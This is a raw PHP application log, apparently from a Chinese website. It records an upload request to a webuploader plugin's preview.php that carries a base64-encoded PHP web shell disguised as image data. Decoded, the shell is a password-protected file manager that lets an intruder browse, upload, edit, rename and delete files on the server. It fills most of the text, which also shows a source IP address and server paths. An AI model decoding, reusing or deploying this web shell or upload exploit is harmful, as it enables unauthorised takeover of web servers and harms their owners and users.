Gggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:10+08:00 ] 119.42.146.234 POST 51tianwei.com/plugin/webuploader/0.1.5/server/preview.php [运行时间:0.002738s] [吞吐率:365.23req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3Ro